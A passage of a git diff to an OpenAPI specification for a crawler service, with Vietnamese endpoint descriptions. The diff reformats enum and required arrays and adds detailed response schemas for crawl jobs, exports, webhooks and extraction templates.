"summary": "Đặt lại mật khẩu mới",
"requestBody": {
"required": true,
......@@ -566,10 +758,7 @@
"application/json": {
"schema": {
"type": "object",
"required": [
"token",
"password"
],
"required": ["token", "password"],
"properties": {
"token": {
"type": "string",
......@@ -614,9 +803,7 @@
"description": "Địa chỉ email không hợp lệ"
}
},
"tags": [
"Auth"
],
"tags": ["Auth"],
"summary": "Gửi lại email xác thực",
"requestBody": {
"required": true,
......@@ -658,9 +845,7 @@
"description": "Token không hợp lệ hoặc đã hết hạn"
}
},
"tags": [
"Auth"
],
"tags": ["Auth"],
"summary": "Xác thực địa chỉ email",
"requestBody": {
"required": true,
......@@ -668,9 +853,7 @@
"application/json": {
"schema": {
"type": "object",
"required": [
"token"
],
"required": ["token"],
"properties": {
"token": {
"type": "string",
......@@ -714,9 +897,7 @@
"description": "Chưa xác thực hoặc mật khẩu không chính xác"
}
},
"tags": [
"Auth"
],
"tags": ["Auth"],
"summary": "Yêu cầu vô hiệu hóa tài khoản",
"requestBody": {
"required": true,
......@@ -758,9 +939,7 @@
"description": "Mã xác nhận không hợp lệ, đã hết hạn hoặc tài khoản đã bị vô hiệu hóa"
}
},
"tags": [
"Auth"
],
"tags": ["Auth"],
"summary": "Xác nhận vô hiệu hóa tài khoản",
"requestBody": {
"required": true,
......@@ -857,9 +1036,7 @@
"description": "Không có quyền truy cập"
}
},
"tags": [
"Users"
],
"tags": ["Users"],
"summary": "Lấy danh sách người dùng"
},
"post": {
......@@ -904,9 +1081,7 @@
}
}
},
"tags": [
"Users"
],
"tags": ["Users"],
"summary": "Tạo người dùng mới"
}
},
......@@ -954,9 +1129,7 @@
"description": "Không tìm thấy người dùng"
}
},
"tags": [
"Users"
],
"tags": ["Users"],
"summary": "Lấy thông tin người dùng theo ID"
},
"put": {
......@@ -1009,9 +1182,7 @@
}
}
},
"tags": [
"Users"
],
"tags": ["Users"],
"summary": "Cập nhật thông tin người dùng"
},
"delete": {
......@@ -1052,9 +1223,7 @@
"description": "Không tìm thấy người dùng"
}
},
"tags": [
"Users"
],
"tags": ["Users"],
"summary": "Xóa người dùng"
}
},
......@@ -1083,9 +1252,7 @@
"description": "Không có quyền users.roles.read"
}
},
"tags": [
"Users"
],
"tags": ["Users"],
"summary": "Xem Roles của User"
},
"put": {
......@@ -1118,9 +1285,7 @@
"description": "Không tìm thấy User hoặc Role"
}
},
"tags": [
"Users"
],
"tags": ["Users"],
"summary": "Cập nhật toàn bộ Roles của User",
"requestBody": {
"required": true,
......@@ -1171,9 +1336,7 @@
"description": "Không tìm thấy User hoặc Role"
}
},
"tags": [
"Users"
],
"tags": ["Users"],
"summary": "Gán thêm một Role cho User"
},
"delete": {
......@@ -1215,9 +1378,7 @@
"description": "Không tìm thấy User hoặc Role"
}
},
"tags": [
"Users"
],
"tags": ["Users"],
"summary": "Gỡ một Role khỏi User"
}
},
......@@ -1274,9 +1435,7 @@
"description": "Không có quyền roles.read"
}
},
"tags": [
"Roles"
],
"tags": ["Roles"],
"summary": "Danh sách Roles"
},
"post": {
......@@ -1298,9 +1457,7 @@
"description": "Role slug đã tồn tại"
}
},
"tags": [
"Roles"
],
"tags": ["Roles"],
"summary": "Tạo Role tùy chỉnh",
"requestBody": {
"required": true,
......@@ -1342,9 +1499,7 @@
"description": "Không tìm thấy Role"
}
},
"tags": [
"Roles"
],
"tags": ["Roles"],
"summary": "Chi tiết Role"
},
"patch": {
......@@ -1377,9 +1532,7 @@
"description": "Không tìm thấy Role"
}
},
"tags": [
"Roles"
],
"tags": ["Roles"],
"summary": "Cập nhật Role",
"requestBody": {
"required": true,
......@@ -1422,9 +1575,7 @@
"description": "Không tìm thấy Role"
}
},
"tags": [
"Roles"
],
"tags": ["Roles"],
"summary": "Xóa Role"
}
},
......@@ -1456,9 +1607,7 @@
"description": "Không tìm thấy Role"
}
},
"tags": [
"Roles"
],
"tags": ["Roles"],
"summary": "Xem danh sách Permissions của Role"
},
"put": {
......@@ -1488,9 +1637,7 @@
"description": "Không tìm thấy Role"
}
},
"tags": [
"Roles"
],
"tags": ["Roles"],
"summary": "Gán danh sách Permissions cho Role",
"requestBody": {
"required": true,
......@@ -1529,9 +1676,7 @@
"description": "Không có quyền roles.read"
}
},
"tags": [
"Roles"
],
"tags": ["Roles"],
"summary": "Danh sách Users thuộc Role"
}
},
......@@ -1565,9 +1710,7 @@
"description": "Không có quyền permissions.read"
}
},
"tags": [
"Permissions"
],
"tags": ["Permissions"],
"summary": "Danh mục Permissions hệ thống"
}
},
......@@ -1599,21 +1742,43 @@
"description": "Không tìm thấy Permission"
}
},
"tags": [
"Permissions"
],
"tags": ["Permissions"],
"summary": "Chi tiết Permission"
}
},
"/dashboard/stats": {
"get": {
"description": "",
"description": "Thống kê tổng hợp số lượng crawl jobs theo trạng thái, số trang đã crawl, số lịch crawl đang chạy và tổng số tệp export.",
"responses": {
"default": {
"description": ""
"200": {
"description": "Lấy thống kê thành công",
"content": {
"application/json": {
"schema": {
"type": "object",
"properties": {
"success": {
"type": "boolean",
"example": true
},
"data": {
"$ref": "#/components/schemas/DashboardStats"
}
}
}
}
}
},
"401": {
"description": "Chưa xác thực"
},
"403": {
"description": "Không có quyền DASHBOARD_READ"
}
},
"tags": ["Dashboard"],
"summary": "Thống kê tổng quan hệ thống Crawler"
}
},
"/crawl-jobs": {
"post": {
......@@ -1654,9 +1819,7 @@
"description": "Chưa xác thực"
}
},
"tags": [
"Crawl Jobs"
],
"tags": ["Crawl Jobs"],
"summary": "Tạo crawl job mới",
"requestBody": {
"required": true,
......@@ -1745,9 +1908,7 @@
}
}
},
"tags": [
"Crawl Jobs"
],
"tags": ["Crawl Jobs"],
"summary": "Lấy danh sách các crawl jobs"
}
},
......@@ -1789,116 +1950,234 @@
"description": "Không tìm thấy crawl job hoặc không có quyền truy cập"
}
},
"tags": [
"Crawl Jobs"
],
"tags": ["Crawl Jobs"],
"summary": "Lấy thông tin chi tiết một crawl job"
},
"delete": {
"description": "",
"description": "Xóa hoàn toàn crawl job cùng toàn bộ dữ liệu trang, assets và export liên quan.",
"parameters": [
{
"name": "id",
"in": "path",
"required": true,
"schema": {
"type": "string"
}
"type": "string",
"format": "uuid"
},
{
"name": "x-api-key",
"in": "header",
"schema": {
"type": "string"
}
"description": "ID của crawl job"
}
],
"responses": {
"default": {
"description": ""
"200": {
"description": "Xóa crawl job thành công",
"content": {
"application/json": {
"schema": {
"type": "object",
"properties": {
"success": {
"type": "boolean",
"example": true
},
"message": {
"type": "string",
"example": "Crawl job deleted successfully"
}
}
}
}
}
},
"400": {
"description": "Không thể xóa job đang chạy"
},
"401": {
"description": "Chưa xác thực"
},
"403": {
"description": "Không có quyền CRAWL_JOBS_DELETE"
},
"404": {
"description": "Không tìm thấy crawl job"
}
},
"tags": ["Crawl Jobs"],
"summary": "Xóa crawl job"
}
},
"/crawl-jobs/{id}/rerun": {
"post": {
"description": "",
"description": "Khởi tạo một job mới kế thừa toàn bộ startUrl, mode, maxPages và maxDepth từ job trước đó.",
"parameters": [
{
"name": "id",
"in": "path",
"required": true,
"schema": {
"type": "string"
}
"type": "string",
"format": "uuid"
},
{
"name": "x-api-key",
"in": "header",
"schema": {
"type": "string"
}
"description": "ID của crawl job cần chạy lại"
}
],
"responses": {
"default": {
"description": ""
"201": {
"description": "Khởi tạo job chạy lại thành công",
"content": {
"application/json": {
"schema": {
"type": "object",
"properties": {
"success": {
"type": "boolean",
"example": true
},
"data": {
"$ref": "#/components/schemas/CrawlJob"
}
}
}
}
}
},
"401": {
"description": "Chưa xác thực"
},
"403": {
"description": "Không có quyền CRAWL_JOBS_RETRY"
},
"404": {
"description": "Không tìm thấy crawl job"
}
},
"tags": ["Crawl Jobs"],
"summary": "Chạy lại crawl job với cấu hình ban đầu"
}
},
"/crawl-jobs/{id}/logs": {
"get": {
"description": "",
"description": "Lấy danh sách các bản ghi log tiến trình thực thi từ worker theo từng bước.",
"parameters": [
{
"name": "id",
"in": "path",
"required": true,
"schema": {
"type": "string"
}
"type": "string",
"format": "uuid"
},
"description": "ID của crawl job"
},
{
"name": "x-api-key",
"in": "header",
"name": "page",
"in": "query",
"schema": {
"type": "string"
}
"type": "integer",
"default": 1
},
"description": "Số trang"
},
{
"name": "limit",
"in": "query",
"schema": {
"type": "integer",
"default": 50
},
"description": "Số bản ghi mỗi trang (tối đa 100)"
}
],
"responses": {
"default": {
"description": ""
"200": {
"description": "Lấy nhật ký thành công",
"content": {
"application/json": {
"schema": {
"type": "object",
"properties": {
"success": {
"type": "boolean",
"example": true
},
"data": {
"type": "object",
"properties": {
"items": {
"type": "array",
"items": {
"$ref": "#/components/schemas/CrawlJobLog"
}
},
"meta": {
"type": "object",
"properties": {
"total": {
"type": "integer"
},
"page": {
"type": "integer"
},
"limit": {
"type": "integer"
},
"totalPages": {
"type": "integer"
}
}
}
}
}
}
}
}
}
},
"401": {
"description": "Chưa xác thực"
},
"404": {
"description": "Không tìm thấy crawl job"
}
},
"tags": ["Crawl Jobs"],
"summary": "Xem nhật ký (logs) chi tiết của crawl job"
}
},
"/crawl-jobs/{id}/events": {
"get": {
"description": "",
"description": "Mở luồng SSE nhận dữ liệu tiến độ crawl định kỳ (mỗi 3 giây) cho đến khi job hoàn tất.",
"parameters": [
{
"name": "id",
"in": "path",
"required": true,
"schema": {
"type": "string"
}
"type": "string",
"format": "uuid"
},
{
"name": "x-api-key",
"in": "header",
"description": "ID của crawl job"
}
],
"responses": {
"200": {
"description": "Luồng sự kiện SSE (text/event-stream)",
"content": {
"text/event-stream": {
"schema": {
"type": "string"
}
}
],
"responses": {
"default": {
"description": ""
}
},
"401": {
"description": "Chưa xác thực"
},
"404": {
"description": "Không tìm thấy crawl job"
}
},
"tags": ["Crawl Jobs"],
"summary": "Server-Sent Events (SSE) theo dõi tiến độ Job thời gian thực"
}
},
"/crawl-jobs/{id}/cancel": {
......@@ -1942,9 +2221,7 @@
"description": "Không tìm thấy crawl job"
}
},
"tags": [
"Crawl Jobs"
],
"tags": ["Crawl Jobs"],
"summary": "Hủy một crawl job đang chạy"
}
},
......@@ -2148,10 +2425,7 @@
"in": "query",
"schema": {
"type": "string",
"enum": [
"asc",
"desc"
],
"enum": ["asc", "desc"],
"default": "asc"
},
"description": "Thứ tự sắp xếp"
......@@ -2212,9 +2486,7 @@
}
}
},
"tags": [
"Crawl Jobs"
],
"tags": ["Crawl Jobs"],
"summary": "Lấy danh sách các trang đã crawl của job"
}
},
......@@ -2418,10 +2690,7 @@
"in": "query",
"schema": {
"type": "string",
"enum": [
"asc",
"desc"
],
"enum": ["asc", "desc"],
"default": "asc"
},
"description": "Thứ tự sắp xếp"
......@@ -2556,9 +2825,7 @@
"description": "Không tìm thấy crawl job hoặc không có quyền truy cập"
}
},
"tags": [
"Crawl Jobs"
],
"tags": ["Crawl Jobs"],
"summary": "Xem preview dữ liệu clean/raw của các trang đã crawl"
}
},
......@@ -2600,9 +2867,7 @@
}
}
},
"tags": [
"Crawl Jobs"
],
"tags": ["Crawl Jobs"],
"summary": "Lấy danh sách các bản export của job"
},
"post": {
......@@ -2639,9 +2904,7 @@
}
}
},
"tags": [
"Crawl Jobs"
],
"tags": ["Crawl Jobs"],
"summary": "Yêu cầu xuất dữ liệu cho job",
"requestBody": {
"required": true,
......@@ -2680,9 +2943,7 @@
}
}
},
"tags": [
"Crawl Jobs"
],
"tags": ["Crawl Jobs"],
"summary": "Tải xuống file export mới nhất"
}
},
......@@ -2723,14 +2984,7 @@
"required": false,
"schema": {
"type": "string",
"enum": [
"IMAGE",
"LINK",
"PDF",
"FILE",
"VIDEO",
"OTHER"
]
"enum": ["IMAGE", "LINK", "PDF", "FILE", "VIDEO", "OTHER"]
},
"description": "Lọc theo loại asset"
}
......@@ -2822,9 +3076,7 @@
"description": "Không tìm thấy crawl job hoặc không có quyền truy cập"
}
},
"tags": [
"Crawl Jobs"
],
"tags": ["Crawl Jobs"],
"summary": "Lấy danh sách assets của job (có phân trang)"
}
},
......@@ -2877,9 +3129,7 @@
"description": "Không tìm thấy crawl job"
}
},
"tags": [
"Crawl Jobs"
],
"tags": ["Crawl Jobs"],
"summary": "Xem báo cáo thay đổi (Diff Report)"
}
},
......@@ -2924,9 +3174,7 @@
"description": "Không tìm thấy crawl job hoặc diff report"
}
},
"tags": [
"Crawl Jobs"
],
"tags": ["Crawl Jobs"],
"summary": "Tải file diff_report.json"
}
},
......@@ -2968,9 +3216,7 @@
"description": "Chưa xác thực"
}
},
"tags": [
"Crawl Schedules"
],
"tags": ["Crawl Schedules"],
"summary": "Tạo lịch crawl định kỳ mới",
"requestBody": {
"required": true,
......@@ -2999,12 +3245,7 @@
"in": "query",
"schema": {
"type": "string",
"enum": [
"DAILY",
"WEEKLY",
"MONTHLY",
"CUSTOM"
]
"enum": ["DAILY", "WEEKLY", "MONTHLY", "CUSTOM"]
},
"description": "Lọc theo tần suất"
},
......@@ -3073,9 +3314,7 @@
"description": "Chưa xác thực"
}
},
"tags": [
"Crawl Schedules"
],
"tags": ["Crawl Schedules"],
"summary": "Lấy danh sách lịch crawl định kỳ"
}
},
......@@ -3111,9 +3350,7 @@
"description": "Không tìm thấy lịch crawl"
}
},
"tags": [
"Crawl Schedules"
],
"tags": ["Crawl Schedules"],
"summary": "Xem chi tiết lịch crawl"
},
"patch": {
......@@ -3158,9 +3395,7 @@
"description": "Không tìm thấy lịch crawl"
}
},
"tags": [
"Crawl Schedules"
],
"tags": ["Crawl Schedules"],
"summary": "Cập nhật lịch crawl",
"requestBody": {
"required": true,
......@@ -3210,9 +3445,7 @@
"description": "Không tìm thấy lịch crawl"
}
},
"tags": [
"Crawl Schedules"
],
"tags": ["Crawl Schedules"],
"summary": "Xóa lịch crawl"
}
},
......@@ -3257,9 +3490,7 @@
"description": "Không tìm thấy lịch crawl"
}
},
"tags": [
"Crawl Schedules"
],
"tags": ["Crawl Schedules"],
"summary": "Kích hoạt chạy ngay lịch crawl"
}
},
......@@ -3336,21 +3567,85 @@
"description": "Không tìm thấy lịch crawl"
}
},
"tags": [
"Crawl Schedules"
],
"tags": ["Crawl Schedules"],
"summary": "Xem lịch sử các lần chạy của lịch crawl"
}
},
"/exports": {
"get": {
"description": "",
"description": "Lấy danh sách các tệp xuất dữ liệu crawl của người dùng có phân trang.",
"parameters": [
{
"name": "page",
"in": "query",
"schema": {
"type": "integer",
"default": 1
},
"description": "Số trang"
},
{
"name": "limit",
"in": "query",
"schema": {
"type": "integer",
"default": 20
},
"description": "Số bản ghi mỗi trang (tối đa 100)"
}
],
"responses": {
"default": {
"description": ""
"200": {
"description": "Lấy danh sách bản xuất thành công",
"content": {
"application/json": {
"schema": {
"type": "object",
"properties": {
"success": {
"type": "boolean",
"example": true
},
"data": {
"type": "object",
"properties": {
"items": {
"type": "array",
"items": {
"$ref": "#/components/schemas/CrawlExport"
}
},
"meta": {
"type": "object",
"properties": {
"total": {
"type": "integer"
},
"page": {
"type": "integer"
},
"limit": {
"type": "integer"
},
"totalPages": {
"type": "integer"
}
}
}
}
}
}
}
}
}
},
"401": {
"description": "Chưa xác thực"
}
},
"tags": ["Exports"],
"summary": "Danh sách tất cả các bản xuất dữ liệu"
}
},
"/exports/{exportId}/download": {
"get": {
......@@ -3380,32 +3675,60 @@
"description": "Không tìm thấy file export"
}
},
"tags": [
"Crawl Exports"
],
"tags": ["Crawl Exports"],
"summary": "Tải xuống tệp export theo ID"
}
},
"/exports/{exportId}": {
"delete": {
"description": "",
"description": "Xóa bản ghi xuất dữ liệu và tệp lưu trữ vật lý tương ứng trên ổ cứng hoặc S3.",
"parameters": [
{
"name": "exportId",
"in": "path",
"required": true,
"schema": {
"type": "string"
}
"type": "string",
"format": "uuid"
},
"description": "ID của bản xuất dữ liệu"
}
],
"responses": {
"default": {
"description": ""
"200": {
"description": "Xóa bản xuất dữ liệu thành công",
"content": {
"application/json": {
"schema": {
"type": "object",
"properties": {
"success": {
"type": "boolean",
"example": true
},
"message": {
"type": "string",
"example": "Export deleted successfully"
}
}
}
}
}
},
"401": {
"description": "Chưa xác thực"
},
"403": {
"description": "Không có quyền EXPORTS_DELETE"
},
"404": {
"description": "Không tìm thấy bản xuất dữ liệu"
}
},
"tags": ["Exports"],
"summary": "Xóa bản xuất dữ liệu"
}
},
"/audit-logs": {
"get": {
"description": "Lấy danh sách phân trang các hành động được ghi nhật ký trong hệ thống. Chỉ có ADMIN mới có quyền truy cập.",
......@@ -3520,9 +3843,7 @@
"description": "Không có quyền truy cập (không phải ADMIN)"
}
},
"tags": [
"Audit Logs"
],
"tags": ["Audit Logs"],
"summary": "Lấy danh sách nhật ký hệ thống"
}
},
......@@ -3556,9 +3877,7 @@
"description": "Dữ liệu không hợp lệ hoặc thời điểm hết hạn không ở trong tương lai"
}
},
"tags": [
"API Keys"
],
"tags": ["API Keys"],
"security": [
{
"BearerAuth": []
......@@ -3605,9 +3924,7 @@
"description": "Chưa xác thực"
}
},
"tags": [
"API Keys"
],
"tags": ["API Keys"],
"security": [
{
"BearerAuth": []
......@@ -3661,9 +3978,7 @@
"description": "Trạng thái không hợp lệ"
}
},
"tags": [
"API Keys"
],
"tags": ["API Keys"],
"security": [
{
"BearerAuth": []
......@@ -3722,9 +4037,7 @@
"description": "Không tìm thấy API Key"
}
},
"tags": [
"API Keys"
],
"tags": ["API Keys"],
"security": [
{
"BearerAuth": []
......@@ -3763,9 +4076,7 @@
"description": "Chưa xác thực"
}
},
"tags": [
"Webhooks"
],
"tags": ["Webhooks"],
"summary": "Tạo cấu hình Webhook",
"requestBody": {
"required": true,
......@@ -3807,28 +4118,65 @@
"description": "Chưa xác thực"
}
},
"tags": [
"Webhooks"
],
"tags": ["Webhooks"],
"summary": "Xem danh sách Webhook configs"
}
},
"/webhooks/configs/{id}": {
"patch": {
"description": "",
"description": "Cập nhật endpoint URL, signing secret, danh sách sự kiện đăng ký hoặc bật/tắt Webhook.",
"parameters": [
{
"name": "id",
"in": "path",
"required": true,
"schema": {
"type": "string"
}
"type": "string",
"format": "uuid"
},
"description": "ID cấu hình Webhook"
}
],
"responses": {
"default": {
"description": ""
"200": {
"description": "Cập nhật cấu hình thành công",
"content": {
"application/json": {
"schema": {
"type": "object",
"properties": {
"success": {
"type": "boolean",
"example": true
},
"data": {
"$ref": "#/components/schemas/WebhookConfig"
}
}
}
}
}
},
"400": {
"description": "Dữ liệu yêu cầu không hợp lệ"
},
"401": {
"description": "Chưa xác thực"
},
"404": {
"description": "Không tìm thấy cấu hình Webhook"
}
},
"tags": ["Webhooks"],
"summary": "Cập nhật cấu hình Webhook",
"requestBody": {
"required": true,
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/UpdateWebhookConfigRequest"
}
}
}
}
},
......@@ -3872,30 +4220,68 @@
"description": "Không tìm thấy cấu hình Webhook"
}
},
"tags": [
"Webhooks"
],
"tags": ["Webhooks"],
"summary": "Xóa cấu hình Webhook"
}
},
"/webhooks/configs/{id}/test": {
"post": {
"description": "",
"description": "Gửi một payload mẫu có kèm HMAC signature tới Webhook URL để kiểm tra khả năng tiếp nhận.",
"parameters": [
{
"name": "id",
"in": "path",
"required": true,
"schema": {
"type": "string"
}
"type": "string",
"format": "uuid"
},
"description": "ID cấu hình Webhook"
}
],
"responses": {
"default": {
"description": ""
"200": {
"description": "Kiểm tra Webhook hoàn tất",
"content": {
"application/json": {
"schema": {
"type": "object",
"properties": {
"success": {
"type": "boolean",
"example": true
},
"data": {
"type": "object",
"properties": {
"statusCode": {
"type": "integer",
"example": 200
},
"responseBody": {
"type": "string",
"example": "ok"
},
"success": {
"type": "boolean",
"example": true
}
}
}
}
}
}
}
},
"401": {
"description": "Chưa xác thực"
},
"404": {
"description": "Không tìm thấy cấu hình Webhook"
}
},
"tags": ["Webhooks"],
"summary": "Kiểm tra kết nối Webhook (Ping Test)"
}
},
"/webhooks/deliveries": {
......@@ -3946,104 +4332,281 @@
"description": "Chưa xác thực"
}
},
"tags": [
"Webhooks"
],
"tags": ["Webhooks"],
"summary": "Xem lịch sử gửi Webhook"
}
},
"/webhooks/deliveries/{id}/redeliver": {
"post": {
"description": "",
"description": "Đưa thông báo webhook vào hàng đợi BullMQ để tiến hành gửi lại tới server đích.",
"parameters": [
{
"name": "id",
"in": "path",
"required": true,
"schema": {
"type": "string"
}
"type": "string",
"format": "uuid"
},
"description": "ID của bản ghi webhook delivery"
}
],
"responses": {
"default": {
"description": ""
"200": {
"description": "Đã đưa vào hàng đợi gửi lại",
"content": {
"application/json": {
"schema": {
"type": "object",
"properties": {
"success": {
"type": "boolean",
"example": true
},
"message": {
"type": "string",
"example": "Webhook redelivery enqueued successfully"
},
"data": {
"$ref": "#/components/schemas/WebhookDelivery"
}
}
}
}
}
},
"401": {
"description": "Chưa xác thực"
},
"404": {
"description": "Không tìm thấy bản ghi webhook delivery"
}
},
"tags": ["Webhooks"],
"summary": "Gửi lại (Redeliver) Webhook thất bại"
}
},
"/extraction-templates": {
"post": {
"description": "",
"description": "Định nghĩa bộ selector CSS và thuộc tính trích xuất nội dung cho một tên miền web cụ thể.",
"responses": {
"default": {
"description": ""
"201": {
"description": "Tạo template thành công",
"content": {
"application/json": {
"schema": {
"type": "object",
"properties": {
"success": {
"type": "boolean",
"example": true
},
"data": {
"$ref": "#/components/schemas/ExtractionTemplate"
}
}
}
}
}
},
"400": {
"description": "Dữ liệu yêu cầu không hợp lệ hoặc đã tồn tại template cho domain này"
},
"401": {
"description": "Chưa xác thực"
}
},
"tags": ["Extraction Templates"],
"summary": "Tạo template trích xuất dữ liệu có cấu trúc",
"requestBody": {
"required": true,
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/CreateExtractionTemplateRequest"
}
}
}
}
},
"get": {
"description": "",
"description": "Lấy toàn bộ danh sách các template trích xuất do người dùng hiện tại tạo.",
"responses": {
"default": {
"description": ""
"200": {
"description": "Lấy danh sách template thành công",
"content": {
"application/json": {
"schema": {
"type": "object",
"properties": {
"success": {
"type": "boolean",
"example": true
},
"data": {
"type": "array",
"items": {
"$ref": "#/components/schemas/ExtractionTemplate"
}
}
}
}
}
}
},
"401": {
"description": "Chưa xác thực"
}
},
"tags": ["Extraction Templates"],
"summary": "Danh sách template trích xuất dữ liệu"
}
},
"/extraction-templates/{id}": {
"get": {
"description": "",
"description": "Xem chi tiết thông tin và danh sách selectors của template.",
"parameters": [
{
"name": "id",
"in": "path",
"required": true,
"schema": {
"type": "string"
}
"type": "string",
"format": "uuid"
},
"description": "ID của template"
}
],
"responses": {
"default": {
"description": ""
"200": {
"description": "Lấy chi tiết template thành công",
"content": {
"application/json": {
"schema": {
"type": "object",
"properties": {
"success": {
"type": "boolean",
"example": true
},
"data": {
"$ref": "#/components/schemas/ExtractionTemplate"
}
}
}
}
}
},
"401": {
"description": "Chưa xác thực"
},
"404": {
"description": "Không tìm thấy template"
}
},
"tags": ["Extraction Templates"],
"summary": "Chi tiết template trích xuất"
},
"patch": {
"description": "",
"description": "Cập nhật tên hoặc danh sách trường trích xuất của template.",
"parameters": [
{
"name": "id",
"in": "path",
"required": true,
"schema": {
"type": "string"
"type": "string",
"format": "uuid"
},
"description": "ID của template"
}
],
"responses": {
"200": {
"description": "Cập nhật template thành công",
"content": {
"application/json": {
"schema": {
"type": "object",
"properties": {
"success": {
"type": "boolean",
"example": true
},
"data": {
"$ref": "#/components/schemas/ExtractionTemplate"
}
}
}
}
}
},
"400": {
"description": "Dữ liệu yêu cầu không hợp lệ"
},
"401": {
"description": "Chưa xác thực"
},
"404": {
"description": "Không tìm thấy template"
}
},
"tags": ["Extraction Templates"],
"summary": "Cập nhật template trích xuất",
"requestBody": {
"required": true,
"content": {
"application/json": {
"schema": {
"$ref": "#/components/schemas/UpdateExtractionTemplateRequest"
}
}
],
"responses": {
"default": {
"description": ""
}
}
},
"delete": {
"description": "",
"description": "Xóa cấu hình template trích xuất khỏi hệ thống.",
"parameters": [
{
"name": "id",
"in": "path",
"required": true,
"schema": {
"type": "string"
}
"type": "string",
"format": "uuid"
},
"description": "ID của template"
}
],
"responses": {
"default": {
"description": ""
"200": {
"description": "Xóa template thành công",
"content": {
"application/json": {
"schema": {
"type": "object",
"properties": {
"success": {
"type": "boolean",
"example": true
},
"data": {
"type": "null"
}
}
}
}
}
},
"401": {
"description": "Chưa xác thực"
},
"404": {
"description": "Không tìm thấy template"
}
},
"tags": ["Extraction Templates"],
"summary": "Xóa template trích xuất"
}
}
},
......@@ -4079,11 +4642,7 @@
},
"role": {
"type": "string",
"enum": [
"ADMIN",
"CRAWLER_USER",
"VIEWER"
]
"enum": ["ADMIN", "CRAWLER_USER", "VIEWER"]
},
"isActive": {
"type": "boolean"
......@@ -4112,12 +4671,7 @@
},
"mode": {
"type": "string",
"enum": [
"SCRAPE",
"CRAWL",
"SITEMAP",
"URL_LIST"
]
"enum": ["SCRAPE", "CRAWL", "SITEMAP", "URL_LIST"]
},
"status": {
"type": "string",
......@@ -4328,10 +4882,7 @@
},
"type": {
"type": "string",
"enum": [
"internal",
"external"
]
"enum": ["internal", "external"]
}
}
}
......@@ -4417,21 +4968,11 @@
},
"exportType": {
"type": "string",
"enum": [
"JSON",
"CSV",
"XLSX",
"MARKDOWN",
"ZIP"
]
"enum": ["JSON", "CSV", "XLSX", "MARKDOWN", "ZIP"]
},
"status": {
"type": "string",
"enum": [
"PENDING",
"COMPLETED",
"FAILED"
]
"enum": ["PENDING", "COMPLETED", "FAILED"]
},
"fileName": {
"type": "string"
......@@ -4454,10 +4995,7 @@
},
"LoginRequest": {
"type": "object",
"required": [
"email",
"password"
],
"required": ["email", "password"],
"properties": {
"email": {
"type": "string",
......@@ -4472,10 +5010,7 @@
},
"RegisterRequest": {
"type": "object",
"required": [
"email",
"password"
],
"required": ["email", "password"],
"properties": {
"email": {
"type": "string",
......@@ -4494,9 +5029,7 @@
},
"ResendVerificationRequest": {
"type": "object",
"required": [
"email"
],
"required": ["email"],
"properties": {
"email": {
"type": "string",
......@@ -4507,9 +5040,7 @@
},
"RequestDeactivationRequest": {
"type": "object",
"required": [
"password"
],
"required": ["password"],
"properties": {
"password": {
"type": "string",
......@@ -4520,9 +5051,7 @@
},
"ConfirmDeactivationRequest": {
"type": "object",
"required": [
"token"
],
"required": ["token"],
"properties": {
"token": {
"type": "string",
......@@ -4533,9 +5062,7 @@
},
"RefreshRequest": {
"type": "object",
"required": [
"refreshToken"
],
"required": ["refreshToken"],
"properties": {
"refreshToken": {
"type": "string",
......@@ -4545,9 +5072,7 @@
},
"LogoutRequest": {
"type": "object",
"required": [
"refreshToken"
],
"required": ["refreshToken"],
"properties": {
"refreshToken": {
"type": "string",
......@@ -4566,11 +5091,7 @@
},
"ChangePasswordRequest": {
"type": "object",
"required": [
"currentPassword",
"newPassword",
"confirmPassword"
],
"required": ["currentPassword", "newPassword", "confirmPassword"],
"properties": {
"currentPassword": {
"type": "string",
......@@ -4588,10 +5109,7 @@
},
"CreateUserRequest": {
"type": "object",
"required": [
"email",
"password"
],
"required": ["email", "password"],
"properties": {
"email": {
"type": "string",
......@@ -4608,11 +5126,7 @@
},
"role": {
"type": "string",
"enum": [
"ADMIN",
"CRAWLER_USER",
"VIEWER"
],
"enum": ["ADMIN", "CRAWLER_USER", "VIEWER"],
"example": "CRAWLER_USER"
},
"maxPagesLimit": {
......@@ -4638,11 +5152,7 @@
},
"role": {
"type": "string",
"enum": [
"ADMIN",
"CRAWLER_USER",
"VIEWER"
],
"enum": ["ADMIN", "CRAWLER_USER", "VIEWER"],
"example": "VIEWER"
},
"isActive": {
......@@ -4673,12 +5183,7 @@
},
"mode": {
"type": "string",
"enum": [
"SCRAPE",
"CRAWL",
"SITEMAP",
"URL_LIST"
],
"enum": ["SCRAPE", "CRAWL", "SITEMAP", "URL_LIST"],
"example": "CRAWL"
},
"maxPages": {
......@@ -4699,38 +5204,25 @@
"type": "string",
"format": "uri"
},
"example": [
"https://example.com/1",
"https://example.com/2"
],
"example": ["https://example.com/1", "https://example.com/2"],
"description": "Bắt buộc khi mode là URL_LIST"
}
}
},
"CreateExportRequest": {
"type": "object",
"required": [
"exportType"
],
"required": ["exportType"],
"properties": {
"exportType": {
"type": "string",
"enum": [
"JSON",
"CSV",
"XLSX",
"MARKDOWN",
"ZIP"
],
"enum": ["JSON", "CSV", "XLSX", "MARKDOWN", "ZIP"],
"example": "JSON"
}
}
},
"CreateApiKeyRequest": {
"type": "object",
"required": [
"name"
],
"required": ["name"],
"properties": {
"name": {
"type": "string",
......@@ -4749,9 +5241,7 @@
},
"UpdateApiKeyStatusRequest": {
"type": "object",
"required": [
"isActive"
],
"required": ["isActive"],
"additionalProperties": false,
"properties": {
"isActive": {
......@@ -4848,11 +5338,7 @@
},
"CreateWebhookConfigRequest": {
"type": "object",
"required": [
"url",
"secret",
"events"
],
"required": ["url", "secret", "events"],
"properties": {
"url": {
"type": "string",
......@@ -4867,15 +5353,9 @@
"type": "array",
"items": {
"type": "string",
"enum": [
"job.completed",
"job.failed"
]
"enum": ["job.completed", "job.failed"]
},
"example": [
"job.completed",
"job.failed"
]
"example": ["job.completed", "job.failed"]
}
}
},
......@@ -4936,11 +5416,7 @@
},
"status": {
"type": "string",
"enum": [
"PENDING",
"SUCCESS",
"FAILED"
]
"enum": ["PENDING", "SUCCESS", "FAILED"]
},
"statusCode": {
"type": "integer",
......@@ -5004,21 +5480,11 @@
},
"mode": {
"type": "string",
"enum": [
"SCRAPE",
"CRAWL",
"SITEMAP",
"URL_LIST"
]
"enum": ["SCRAPE", "CRAWL", "SITEMAP", "URL_LIST"]
},
"frequency": {
"type": "string",
"enum": [
"DAILY",
"WEEKLY",
"MONTHLY",
"CUSTOM"
]
